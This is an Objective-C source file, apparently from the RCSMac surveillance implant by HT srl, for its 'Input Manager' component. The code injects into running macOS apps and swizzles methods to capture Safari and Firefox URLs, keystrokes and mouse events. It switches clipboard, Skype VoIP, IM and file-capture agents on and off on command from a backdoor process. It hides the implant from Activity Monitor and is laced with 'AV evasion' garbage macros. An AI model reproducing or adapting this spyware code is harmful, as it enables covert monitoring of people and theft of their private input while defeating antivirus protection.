core/InputManager/RCSMInputManager.m
/*
* RCSMac - Input Manager
*
* The Input Manager is responsible for loading all the external agents who
* needs to be executed in different target processes aka runtime code injection
*
* The idea is very simple, swizzle a method upon request in order to provide
* on-demand hooks. This looks better to me than a static hook always in place
* which checks a static variable in order to figure if it needs to log or not.
*
*
* Created by Alfredo 'revenge' Pesoli on 28/04/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#import "RCSMInterface.h"
#import <AudioToolbox/AudioToolbox.h>
#import <AudioUnit/AudioUnit.h>
#import <objc/objc-class.h>
#import <mach/error.h>
#import <sys/ipc.h>
#import <pthread.h>
#import <dlfcn.h>
#import "mach_override.h"
#import "RCSMAgentURL.h"
#import "RCSMInputManager.h"
#import "RCSMAgentVoipSkype.h"
#import "RCSMAgentApplication.h"
#import "RCSMAgentFileCapture.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "NSProcessInfo+NSProcessInfo__AVEvasion_.h"
#import "RCSMAVGarbage.h"
extern NSString *class_dump_class(Class class);
#define swizzleMethod(c1, m1, c2, m2) do { \
method_exchangeImplementations(class_getInstanceMethod(c1, m1), \
class_getInstanceMethod(c2, m2)); \
} while(0)
//
// We can't allocate instance variable in factory methods
//
__m_MSharedMemory *mSharedMemoryCommand;
__m_MSharedMemory *mSharedMemoryLogging;
int32_t gBackdoorPID = 0;
BOOL isAppRunning = YES;
BOOL gWantToSyncThroughSafari = NO;
//static NSLock *gInputManagerLock;
//
// flags which specify if we are hooking the given module
// 0 - Initial State - No Hook
// 1 - Marked for Hooking
// 2 - Hook in place
// 3 - Marked for Unhooking
//
static int urlFlag = 0;
static int keyboardFlag = 0;
static int mouseFlag = 0;
static int imFlag = 0;
static int clipboardFlag = 0;
static int voipFlag = 0;
static int appFlag = 0;
static int fileFlag = 0;
CFArrayRef (*pCGWindowListCopyWindowInfo)(CGWindowListOption, CGWindowID);
NSDictionary *getActiveWindowInformationForPID(pid_t pid)
{
ProcessSerialNumber psn = { 0,0 };
NSDictionary *activeAppInfo;
OSStatus success;
CFArrayRef windowsList;
int windowPID;
pid_t activePid;
NSNumber *windowID = nil;
NSString *processName = nil;
NSString *windowName = nil;
// Active application on workspace
activeAppInfo = [[NSWorkspace sharedWorkspace] activeApplication];
psn.highLongOfPSN = [[activeAppInfo valueForKey: @"NSApplicationProcessSerialNumberHigh"]
unsignedIntValue];
psn.lowLongOfPSN = [[activeAppInfo valueForKey: @"NSApplicationProcessSerialNumberLow"]
unsignedIntValue];
// Get PID of the active Application(s)
if ((success = GetProcessPID(&psn, &activePid)) != 0)
return nil;
// Window list front to back
windowsList = pCGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenAboveWindow,
kCGNullWindowID);
if (windowsList == NULL)
return nil;
for (NSMutableDictionary *entry in (NSArray *)windowsList)
{
windowPID = [[entry objectForKey: (id)kCGWindowOwnerPID] intValue];
if (windowPID == pid)
{
windowID = [NSNumber numberWithUnsignedInt:
[[[entry objectForKey: (id)kCGWindowNumber] retain] unsignedIntValue]];
processName = [[entry objectForKey: (id)kCGWindowOwnerName] copy];
windowName = [[entry objectForKey: (id)kCGWindowName] copy];
break;
}
}
CFRelease(windowsList);
if (windowPID != pid)
return nil;
NSArray *keys = [NSArray arrayWithObjects: @"windowID",
@"processName",
@"windowName",
nil];
NSArray *objects = [NSArray arrayWithObjects: windowID,
processName,
windowName,
nil];
NSDictionary *windowInfo = [[NSDictionary alloc] initWithObjects: objects
forKeys: keys];
[processName release];
[windowName release];
[windowID release];
return windowInfo;
}
// OSAX Eventhandler
OSErr InjectEventHandler(const AppleEvent *ev, AppleEvent *reply, long refcon)
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Injected event handler called");
#endif
// AV evasion: only on release build
AV_GARBAGE_001
OSErr resultCode = noErr;
// AV evasion: only on release build
AV_GARBAGE_003
AEDesc intDesc = {};
SInt32 value = 0;
// AV evasion: only on release build
AV_GARBAGE_002
// See if we need to show the print dialog.
OSStatus err = AEGetParamDesc(ev, 'pido', typeSInt32, &intDesc);
// AV evasion: only on release build
AV_GARBAGE_004
if (!err)
{
err = AEGetDescData(&intDesc, &value, sizeof(SInt32));
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Received backdoor pid: %ld", value);
#endif
}
// AV evasion: only on release build
AV_GARBAGE_005
gBackdoorPID = value;
// AV evasion: only on release build
AV_GARBAGE_006
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"%s: running __m_eload event handler", __FUNCTION__);
#endif
return resultCode;
}
BOOL swizzleByAddingIMP (Class _class, SEL _original, IMP _newImplementation, SEL _newMethod)
{
#ifdef DEBUG_INPUT_MANAGER
const char *name = sel_getName(_original);
const char *newName = sel_getName(_newMethod);
verboseLog(@"SEL Name: %s", name);
verboseLog(@"SEL newName: %s", newName);
#endif
// AV evasion: only on release build
AV_GARBAGE_002
Method methodOriginal = class_getInstanceMethod(_class, _original);
// AV evasion: only on release build
AV_GARBAGE_009
if (methodOriginal == nil)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Error on class_getInstanceMethod for [%s %s]\n", class_getName(_class), name);
#endif
return FALSE;
}
// AV evasion: only on release build
AV_GARBAGE_000
const char *type = method_getTypeEncoding(methodOriginal);
//IMP old = method_getImplementation(methodOriginal);
// AV evasion: only on release build
AV_GARBAGE_001
if (!class_addMethod (_class, _newMethod, _newImplementation, type))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Failed to add our new method - probably already exists");
#endif
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Method added to target class");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_002
Method methodNew = class_getInstanceMethod(_class, _newMethod);
if (methodNew == nil)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Method not found after add [%s %s]\n", class_getName(_class), newName);
#endif
return FALSE;
}
// AV evasion: only on release build
AV_GARBAGE_003
method_exchangeImplementations(methodOriginal, methodNew);
// AV evasion: only on release build
AV_GARBAGE_004
return TRUE;
}
@implementation __m_MInputManager
+ (void)load
{
#ifdef ENABLE_LOGGING
[__m_MLogger setComponent: @"im"];
[__m_MLogger enableProcessNameVisualization: YES];
#endif
if (pCGWindowListCopyWindowInfo == NULL)
{
void *handle = dlopen("/System/Library/Frameworks/CoreGraphics.framework/Versions/Current/CoreGraphics", 2);
// for 10.7.x
if (handle == NULL)
handle = dlopen("/System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/CoreGraphics.framework/Versions/Current/CoreGraphics", 2);
if (handle != NULL)
{
char funcName[256];
sprintf(funcName, "CGWindowList%s%s","Copy", "WindowInfo");
pCGWindowListCopyWindowInfo = dlsym(handle, funcName);
}
}
// AV evasion: only on release build
AV_GARBAGE_002
// First thing we need to initialize the shared memory segments
NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier];
NSString *safariId = [NSString stringWithFormat:@"%@.%@.%@", @"com", @"apple", @"safari"];
// AV evasion: only on release build
AV_GARBAGE_005
// Init OS numbers
[__m_MInputManager getSystemVersionMajor: &gOSMajor
minor: &gOSMinor
bugFix: &gOSBugFix];
// AV evasion: only on release build
AV_GARBAGE_006
// TODO: Use an exclusion list instead of this
if ([bundleIdentifier isEqualToString: safariId] == YES)
{
// AV evasion: only on release build
AV_GARBAGE_007
if ([self initSharedMemory] == NO)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Error while creating shared memory");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
return;
}
/*
[[NSNotificationCenter defaultCenter] addObserver: self
selector: @selector(checkForCommands)
name: NSApplicationWillTerminateNotification
object: nil];
*/
// AV evasion: only on release build
AV_GARBAGE_003
if ([gUtil isLeopard])
{
// AV evasion: only on release build
AV_GARBAGE_009
[[NSNotificationCenter defaultCenter] addObserver: self
selector: @selector(startThreadCommunicator:)
name: NSApplicationWillFinishLaunchingNotification
object: nil];
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"running osax bundle");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
[NSThread detachNewThreadSelector: @selector(startCoreCommunicator)
toTarget: self
withObject: nil];
}
// AV evasion: only on release build
AV_GARBAGE_007
[[NSNotificationCenter defaultCenter] addObserver: self
selector: @selector(closeThreadCommunicator:)
name: NSApplicationWillTerminateNotification
object: nil];
}
else if ([bundleIdentifier isEqualToString: @"com.apple.securityagent"] == NO)
{
if ([self initSharedMemory] == NO)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Error while creating shared memory");
#endif
// AV evasion: only on release build
AV_GARBAGE_001
return;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Attached to shared memory");
#endif
}
if ([gUtil isLeopard])
{
// AV evasion: only on release build
AV_GARBAGE_006
[[NSNotificationCenter defaultCenter] addObserver: self
selector: @selector(startThreadCommunicator:)
name: NSApplicationWillFinishLaunchingNotification
object: nil];
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"running osax bundle");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
[NSThread detachNewThreadSelector: @selector(startCoreCommunicator)
toTarget: self
withObject: nil];
}
// AV evasion: only on release build
AV_GARBAGE_007
[[NSNotificationCenter defaultCenter] addObserver: self
selector: @selector(closeThreadCommunicator:)
name: NSApplicationWillTerminateNotification
object: nil];
// AV evasion: only on release build
AV_GARBAGE_004
}
}
typedef struct {
NSInteger majorVersion;
NSInteger minorVersion;
NSInteger patchVersion;
} MyOperatingSystemVersion;
+ (void)getSystemVersionMajor: (u_int *)major
minor: (u_int *)minor
bugFix: (u_int *)bugFix
{
NSDictionary *Dictionary =
[NSDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"];
if (Dictionary != nil)
{
NSString *actualVersion = [Dictionary objectForKey:@"ProductVersion"];
if (actualVersion != nil)
{
NSString *currVer = nil;
NSArray *versionStrings = [actualVersion componentsSeparatedByString:@"."];
int numVersions = [versionStrings count];
currVer = [versionStrings objectAtIndex:0];
*major = atoi([currVer cStringUsingEncoding:NSUTF8StringEncoding]);
currVer = [versionStrings objectAtIndex:1];
*minor = atoi([currVer cStringUsingEncoding:NSUTF8StringEncoding]);
if (numVersions > 2)
{
currVer = [versionStrings objectAtIndex:2];
*bugFix = atoi([currVer cStringUsingEncoding:NSUTF8StringEncoding]);
}
}
}
else if ([[NSProcessInfo processInfo] respondsToSelector:@selector(operatingSystemVersion)])
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"running NSProcessInfo processInfo");
#endif
MyOperatingSystemVersion version =
((MyOperatingSystemVersion(*)(id, SEL))objc_msgSend_stret)([NSProcessInfo processInfo], @selector(operatingSystemVersion));
*major = version.majorVersion; *minor = version.minorVersion; *bugFix = version.patchVersion;
return;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"running Gestalt Info");
#endif
*major = 10; *minor = 0; *bugFix = 0;
OSErr err;
SInt32 systemVersion, versionMajor, versionMinor, versionBugFix;
err = Gestalt(gestaltSystemVersion, &systemVersion);
if (err == noErr && systemVersion < 0x1040)
{
if (major)
*major = ((systemVersion & 0xF000) >> 12) * 10
+ ((systemVersion & 0x0F00) >> 8);
if (minor)
*minor = (systemVersion & 0x00F0) >> 4;
if (bugFix)
*bugFix = (systemVersion & 0x000F);
}
else
{
err = Gestalt(gestaltSystemVersionMajor, &versionMajor);
err = Gestalt(gestaltSystemVersionMinor, &versionMinor);
err = Gestalt(gestaltSystemVersionBugFix, &versionBugFix);
if (err == noErr)
{
if (major)
*major = versionMajor;
if (minor)
*minor = versionMinor;
if (bugFix)
*bugFix = versionBugFix;
}
}
if (err != noErr)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"%s - Unable to obtain system version: %ld", __FUNCTION__, (long)err);
#endif
if (major)
*major = 10;
if (minor)
*minor = 0;
if (bugFix)
*bugFix = 0;
}
}
}
+ (BOOL)isACrsApp
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_001
NSMutableData *readData;
shMemoryCommand *shMemCommand;
BOOL retVal = NO;
NSProcessInfo *pi = [NSProcessInfo PROCESSINFO_SEL];
// AV evasion: only on release build
AV_GARBAGE_002
NSString *appName = [pi processName];
// AV evasion: only on release build
AV_GARBAGE_003
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Crisis appName %@", appName);
#endif
readData = [mSharedMemoryCommand readMemory: OFFT_CRISIS
fromComponent: COMP_AGENT];
// AV evasion: only on release build
AV_GARBAGE_004
if (readData == nil)
return retVal;
// AV evasion: only on release build
AV_GARBAGE_003
shMemCommand = (shMemoryCommand *)[readData bytes];
// AV evasion: only on release build
AV_GARBAGE_005
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Crisis commandData %@", readData);
#endif
if (shMemCommand->command == AG_START &&
shMemCommand->commandDataSize)
{
// AV evasion: only on release build
AV_GARBAGE_006
NSData *tmpListData = [[NSData alloc] initWithBytes: shMemCommand->commandData
length: shMemCommand->commandDataSize];
// AV evasion: only on release build
AV_GARBAGE_007
UInt32 numOfNames;
[tmpListData getBytes: &numOfNames length: sizeof(UInt32)];
// AV evasion: only on release build
AV_GARBAGE_003
char *tmpPtr = ((char *)[tmpListData bytes]) + sizeof(UInt32);
// AV evasion: only on release build
AV_GARBAGE_008
for (int i = 0; i < numOfNames; i++)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"crisis_%d: %S", (unichar *)tmpPtr);
#endif
// AV evasion: only on release build
AV_GARBAGE_009
int iLen = _utf16len((unichar*)tmpPtr) * sizeof(unichar);
// AV evasion: only on release build
AV_GARBAGE_002
NSString *tmpCrisisApp = [[NSString alloc] initWithBytes: tmpPtr
length: iLen
encoding: NSUTF16LittleEndianStringEncoding];
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"AppName %@", tmpCrisisApp);
#endif
// AV evasion: only on release build
AV_GARBAGE_008
if ([appName isCaseInsensitiveLike: tmpCrisisApp])
{
// AV evasion: only on release build
AV_GARBAGE_005
[tmpCrisisApp release];
// AV evasion: only on release build
AV_GARBAGE_003
retVal = YES;
break;
}
// AV evasion: only on release build
AV_GARBAGE_000
[tmpCrisisApp release];
// AV evasion: only on release build
AV_GARBAGE_001
tmpPtr += iLen;
// AV evasion: only on release build
AV_GARBAGE_003
tmpPtr += sizeof(unichar);
}
}
// AV evasion: only on release build
AV_GARBAGE_003
[pool release];
return retVal;
}
+ (void)startCoreCommunicator
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_000
NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier];
if ([bundleIdentifier isEqualToString: @"com.apple.ActivityMonitor"] == YES)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting hiding for activity Monitor");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
#ifndef NO_PROC_HIDING
[self hideCoreFromAM];
#endif
}
// AV evasion: only on release build
AV_GARBAGE_001
usleep(500000);
// AV evasion: only on release build
AV_GARBAGE_002
// Only for leopard
if ([gUtil isLeopard])
{
// AV evasion: only on release build
AV_GARBAGE_003
if ([self isACrsApp])
{
// AV evasion: only on release build
AV_GARBAGE_004
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Crisis is started and app match exit now!");
#endif
return;
}
}
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Core Communicator thread launched");
#endif
// AV evasion: only on release build
AV_GARBAGE_005
if ([bundleIdentifier isEqualToString: @"com.apple.securityagent"] == YES)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Exiting from security Agent");
#endif
//
// Avoid to inject into securityagent since we don't need it for now
// plus it belongs to root (thus allocating a new shared memory block)
//
// AV evasion: only on release build
AV_GARBAGE_006
return;
}
// AV evasion: only on release build
AV_GARBAGE_007
//
// Here we need to start the loop for checking and reading any configuration
// change made on the shared memory
//
while (isAppRunning == YES)
{
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
[self checkAgentAtOffset: OFFT_URL];
// AV evasion: only on release build
AV_GARBAGE_009
[self checkAgentAtOffset: OFFT_APPLICATION];
// AV evasion: only on release build
AV_GARBAGE_008
[self checkAgentAtOffset: OFFT_KEYLOG];
// AV evasion: only on release build
AV_GARBAGE_007
[self checkAgentAtOffset: OFFT_MOUSE];
// AV evasion: only on release build
AV_GARBAGE_006
[self checkAgentAtOffset: OFFT_VOIP];
// AV evasion: only on release build
AV_GARBAGE_005
[self checkAgentAtOffset: OFFT_IM];
// AV evasion: only on release build
AV_GARBAGE_004
[self checkAgentAtOffset: OFFT_CLIPBOARD];
// AV evasion: only on release build
AV_GARBAGE_003
[self checkAgentAtOffset: OFFT_FILECAPTURE];
// AV evasion: only on release build
AV_GARBAGE_002
//
// Perform swizzle here
//
if (urlFlag == 1)
{
urlFlag = 2;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking URLs");
#endif
// AV evasion: only on release build
AV_GARBAGE_005
//
// Safari
//
usleep(2000000);
// AV evasion: only on release build
AV_GARBAGE_004
// Safari up to 5.0
Class className = objc_getClass("BrowserWindowControllerMac");
// AV evasion: only on release build
AV_GARBAGE_001
Class classSource = objc_getClass(kMyBrowserWindowController);
// AV evasion: only on release build
AV_GARBAGE_002
BOOL isSafariPrior51 = NO;
// AV evasion: only on release build
AV_GARBAGE_003
if (className == nil)
{
className = objc_getClass("BrowserWindowController");
// AV evasion: only on release build
AV_GARBAGE_004
if (className != nil)
isSafariPrior51 = YES;
}
if (className != nil)
{
// AV evasion: only on release build
AV_GARBAGE_005
URLStartAgent();
// AV evasion: only on release build
AV_GARBAGE_003
if (isSafariPrior51)
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"Safari < 5.1 (hook)");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
swizzleByAddingIMP (className, @selector(webFrameLoadCommitted:),
class_getMethodImplementation(classSource, @selector(webFrameLoadCommittedHook:)),
@selector(webFrameLoadCommittedHook:));
// AV evasion: only on release build
AV_GARBAGE_004
}
else
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"Safari >= 5.1 (hook)");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP (className, @selector(_setLocationFieldText:),
class_getMethodImplementation(classSource, @selector(_setLocationFieldTextHook:)),
@selector(_setLocationFieldTextHook:));
// AV evasion: only on release build
AV_GARBAGE_002
swizzleByAddingIMP (className, @selector(closeCurrentTab:),
class_getMethodImplementation(classSource, @selector(closeCurrentTabHook:)),
@selector(closeCurrentTabHook:));
// AV evasion: only on release build
AV_GARBAGE_001
swizzleByAddingIMP (className, @selector(didSelectTabViewItem),
class_getMethodImplementation(classSource, @selector(didSelectTabViewItemHook)),
@selector(didSelectTabViewItemHook));
// AV evasion: only on release build
AV_GARBAGE_000
Class BrowserWindowClass = objc_getClass("BrowserWindow");
// AV evasion: only on release build
AV_GARBAGE_005
if (BrowserWindowClass != nil)
{
// AV evasion: only on release build
AV_GARBAGE_007
swizzleByAddingIMP (BrowserWindowClass, @selector(setTitle:),
class_getMethodImplementation(classSource, @selector(setTitleHook:)),
@selector(setTitleHook:));
// AV evasion: only on release build
AV_GARBAGE_005
}
/*
* for Safari 6.x only
*/
Class LocationTextFieldClass = objc_getClass("LocationTextField");
// AV evasion: only on release build
AV_GARBAGE_004
if (LocationTextFieldClass != nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP (LocationTextFieldClass, @selector(_drawTopLocationTextField:),
class_getMethodImplementation(classSource, @selector(_drawTopLocationTextFieldHook:)),
@selector(_drawTopLocationTextFieldHook:));
}
/*
* for Safari 7.x only
*/
Class BrowserContentViewControllerObjCAdapterClass = objc_getClass("BrowserContentViewControllerObjCAdapter");
// AV evasion: only on release build
AV_GARBAGE_005
if (BrowserContentViewControllerObjCAdapterClass != nil)
{
// AV evasion: only on release build
AV_GARBAGE_007
swizzleByAddingIMP (BrowserContentViewControllerObjCAdapterClass, @selector(expectedOrCurrentURL),
class_getMethodImplementation(classSource, @selector(expectedOrCurrentURLHook)),
@selector(expectedOrCurrentURLHook));
// AV evasion: only on release build
AV_GARBAGE_005
}
}
}
else
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"URL - not the right application, skipping");
#endif
}
// End of Safari
// AV evasion: only on release build
AV_GARBAGE_003
//
// Firefox 3 - Massimo Chiodini
//
NSString *applicationName = [[[NSBundle mainBundle] bundlePath] lastPathComponent];
// AV evasion: only on release build
AV_GARBAGE_002
NSString *firefoxAppName = [[NSString alloc] initWithUTF8String: "Firefox.app"];
// AV evasion: only on release build
AV_GARBAGE_001
NSComparisonResult result = [firefoxAppName compare: applicationName
options: NSCaseInsensitiveSearch
range: NSMakeRange(0, [applicationName length])
locale: [NSLocale currentLocale]];
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Comparing %@ vs. %@ (%d)", applicationName, firefoxAppName, result);
#endif
// AV evasion: only on release build
AV_GARBAGE_006
if (result == NSOrderedSame)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking fairfocs baby!");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
Class className = objc_getClass("NSWindow");
// AV evasion: only on release build
AV_GARBAGE_007
swizzleMethod(className, @selector(setTitle:),
className, @selector(setTitleHook:));
// AV evasion: only on release build
AV_GARBAGE_004
}
// AV evasion: only on release build
AV_GARBAGE_006
[firefoxAppName release];
// End of Firefox 3
}
else if (urlFlag == 3)
{
urlFlag = 0;
// AV evasion: only on release build
AV_GARBAGE_003
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking URLs");
#endif
Class className = objc_getClass("BrowserWindowControllerMac");
// AV evasion: only on release build
AV_GARBAGE_009
BOOL isSafariPrior51 = NO;
// AV evasion: only on release build
AV_GARBAGE_005
if (className == nil)
{
// AV evasion: only on release build
AV_GARBAGE_001
className = objc_getClass("BrowserWindowController");
// AV evasion: only on release build
AV_GARBAGE_004
if (className != nil)
isSafariPrior51 = YES;
}
// AV evasion: only on release build
AV_GARBAGE_002
if (className != nil)
{
// AV evasion: only on release build
AV_GARBAGE_009
if (isSafariPrior51)
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"Safari < 5.1 (unhook)");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
swizzleMethod(className, @selector(webFrameLoadCommitted:),
className, @selector(webFrameLoadCommittedHook:));
}
else
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"Safari >= 5.1 (unhook)");
#endif
// AV evasion: only on release build
AV_GARBAGE_007
swizzleMethod(className, @selector(_setLocationFieldText:),
className, @selector(_setLocationFieldTextHook:));
// AV evasion: only on release build
AV_GARBAGE_008
swizzleMethod(className, @selector(closeCurrentTab:),
className, @selector(closeCurrentTabHook:));
// AV evasion: only on release build
AV_GARBAGE_009
swizzleMethod(className, @selector(didSelectTabViewItem),
className, @selector(didSelectTabViewItemHook));
// AV evasion: only on release build
AV_GARBAGE_002
Class BrowserWindowClass = objc_getClass("BrowserWindow");
// AV evasion: only on release build
AV_GARBAGE_005
if (BrowserWindowClass != nil)
{
// AV evasion: only on release build
AV_GARBAGE_007
swizzleMethod(BrowserWindowClass, @selector(setTitle:),
BrowserWindowClass, @selector(setTitleHook:));
// AV evasion: only on release build
AV_GARBAGE_005
}
/*
* for Safari 6.x only
*/
Class LocationTextFieldClass = objc_getClass("LocationTextField");
// AV evasion: only on release build
AV_GARBAGE_004
if (LocationTextFieldClass != nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
swizzleMethod(LocationTextFieldClass, @selector(_drawTopLocationTextField:),
LocationTextFieldClass, @selector(_drawTopLocationTextFieldHook:));
// AV evasion: only on release build
AV_GARBAGE_007
}
/*
* for Safari 7.x only
*/
// AV evasion: only on release build
AV_GARBAGE_004
Class BrowserContentViewControllerObjCAdapterClass = objc_getClass("BrowserContentViewControllerObjCAdapter");
// AV evasion: only on release build
AV_GARBAGE_005
if (BrowserContentViewControllerObjCAdapterClass != nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
swizzleMethod(BrowserContentViewControllerObjCAdapterClass, @selector(expectedOrCurrentURL),
BrowserContentViewControllerObjCAdapterClass, @selector(expectedOrCurrentURLHook));
// AV evasion: only on release build
AV_GARBAGE_007
}
}
}
else
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"URL - not the right application, skipping");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_002
// firefox 3
NSString *application_name = [[[NSBundle mainBundle] bundlePath] lastPathComponent];
// AV evasion: only on release build
AV_GARBAGE_001
NSString *firefox_app = [[NSString alloc] initWithUTF8String: "Firefox.app"];
// AV evasion: only on release build
AV_GARBAGE_008
NSRange strRange;
strRange.location = 0;
// AV evasion: only on release build
AV_GARBAGE_003
strRange.length = [application_name length];
// AV evasion: only on release build
AV_GARBAGE_007
NSComparisonResult firefox_res = [firefox_app compare: application_name
options: NSCaseInsensitiveSearch
range: strRange
locale: [NSLocale currentLocale]];
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Comparing %@ vs. %@ (%d)", application_name, firefox_app, firefox_res);
#endif
// AV evasion: only on release build
AV_GARBAGE_009
if (firefox_res == NSOrderedSame)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking fairfocs baby!");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
Class className = objc_getClass("NSWindow");
// AV evasion: only on release build
AV_GARBAGE_005
swizzleMethod(className, @selector(setTitle:),
className, @selector(setTitleHook:));
}
// AV evasion: only on release build
AV_GARBAGE_004
[firefox_app release];
}
// AV evasion: only on release build
AV_GARBAGE_003
if (appFlag == 1)
{
// AV evasion: only on release build
AV_GARBAGE_001
appFlag = 2;
// AV evasion: only on release build
AV_GARBAGE_003
__m_MAgentApplication *appAgent = [__m_MAgentApplication sharedInstance];
// AV evasion: only on release build
AV_GARBAGE_002
[appAgent start];
// AV evasion: only on release build
AV_GARBAGE_005
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking Application agent");
#endif
}
else if (appFlag == 3)
{
// AV evasion: only on release build
AV_GARBAGE_007
appFlag = 0;
// AV evasion: only on release build
AV_GARBAGE_006
__m_MAgentApplication *appAgent = [__m_MAgentApplication sharedInstance];
// AV evasion: only on release build
AV_GARBAGE_008
[appAgent stop];
// AV evasion: only on release build
AV_GARBAGE_009
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Application agent");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_002
if (keyboardFlag == 1)
{
keyboardFlag = 2;
// AV evasion: only on release build
AV_GARBAGE_003
keylogAgentIsActive = 1;
// AV evasion: only on release build
AV_GARBAGE_004
Class className = objc_getClass("NSWindow");
// AV evasion: only on release build
AV_GARBAGE_005
if (mouseFlag == 0 || mouseAgentIsActive == 0)
{
#ifdef DEBUG_INPUT_MANAGER
NSLog(@"Hooking keyboard");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
swizzleMethod(className, @selector(hookKeyboardAndMouse:),
className, @selector(sendEvent:));
// AV evasion: only on release build
AV_GARBAGE_007
}
else
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"Method already hooked for key/mouse");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_004
swizzleMethod(className, @selector(becomeKeyWindowHook),
className, @selector(becomeKeyWindow));
// AV evasion: only on release build
AV_GARBAGE_009
swizzleMethod(className, @selector(resignKeyWindowHook),
className, @selector(resignKeyWindow));
}
else if (keyboardFlag == 3)
{
// AV evasion: only on release build
AV_GARBAGE_001
keyboardFlag = 0;
// AV evasion: only on release build
AV_GARBAGE_002
keylogAgentIsActive = 0;
// AV evasion: only on release build
AV_GARBAGE_008
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking keyboard");
#endif
Class className = objc_getClass("NSWindow");
// AV evasion: only on release build
AV_GARBAGE_003
if (mouseFlag == 0)
{
// AV evasion: only on release build
AV_GARBAGE_004
swizzleMethod(className, @selector(hookKeyboardAndMouse:),
className, @selector(sendEvent:));
}
// AV evasion: only on release build
AV_GARBAGE_007
swizzleMethod(className, @selector(becomeKeyWindowHook),
className, @selector(becomeKeyWindow));
// AV evasion: only on release build
AV_GARBAGE_006
swizzleMethod(className, @selector(resignKeyWindowHook),
className, @selector(resignKeyWindow));
// AV evasion: only on release build
AV_GARBAGE_000
}
if (mouseFlag == 1)
{
// AV evasion: only on release build
AV_GARBAGE_003
mouseFlag = 2;
// AV evasion: only on release build
AV_GARBAGE_002
mouseAgentIsActive = 1;
// AV evasion: only on release build
AV_GARBAGE_008
Class className = objc_getClass("NSWindow");
// AV evasion: only on release build
AV_GARBAGE_007
if (keyboardFlag == 0 || keylogAgentIsActive == 0)
{
#ifdef DEBUG_INPUT_MANAGER
NSLog(@"Hooking mouse");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
swizzleMethod(className, @selector(hookKeyboardAndMouse:),
className, @selector(sendEvent:));
// AV evasion: only on release build
AV_GARBAGE_004
}
else
{
#ifdef DEBUG_INPUT_MANAGER
warnLog(@"Method already hooked for mouse/key");
#endif
}
}
else if (mouseFlag == 3)
{
mouseFlag = 0;
// AV evasion: only on release build
AV_GARBAGE_009
mouseAgentIsActive = 0;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking mouse");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
if (keyboardFlag == 0)
{
// AV evasion: only on release build
AV_GARBAGE_001
Class className = objc_getClass("NSWindow");
// AV evasion: only on release build
AV_GARBAGE_003
swizzleMethod(className, @selector(hookKeyboardAndMouse:),
className, @selector(sendEvent:));
// AV evasion: only on release build
AV_GARBAGE_001
}
}
